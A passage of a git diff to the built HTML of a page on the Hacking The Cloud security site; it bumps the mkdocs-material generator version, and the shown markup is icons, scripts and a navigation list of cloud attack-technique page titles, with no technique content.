0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/gcp/enumeration/enumerate_all_permissions/index.html b/gcp/enumeration/enumerate_all_permissions/index.html
index 6eaa0e008..0d648e832 100644
--- a/gcp/enumeration/enumerate_all_permissions/index.html
+++ b/gcp/enumeration/enumerate_all_permissions/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)"><link href=https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ rel=canonical><link href=../enum_email_addresses/ rel=prev><link href=../enumerate_service_account_permissions/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud"><meta property=og:description content="Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud"><meta property=twitter:description content="Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)"><link href=https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ rel=canonical><link href=../enum_email_addresses/ rel=prev><link href=../enumerate_service_account_permissions/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud"><meta property=og:description content="Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate Org/Folder/Project Permissions + Individual Resource Permissions - Hacking The Cloud"><meta property=twitter:description content="Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#what-is-testiampermissions class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li 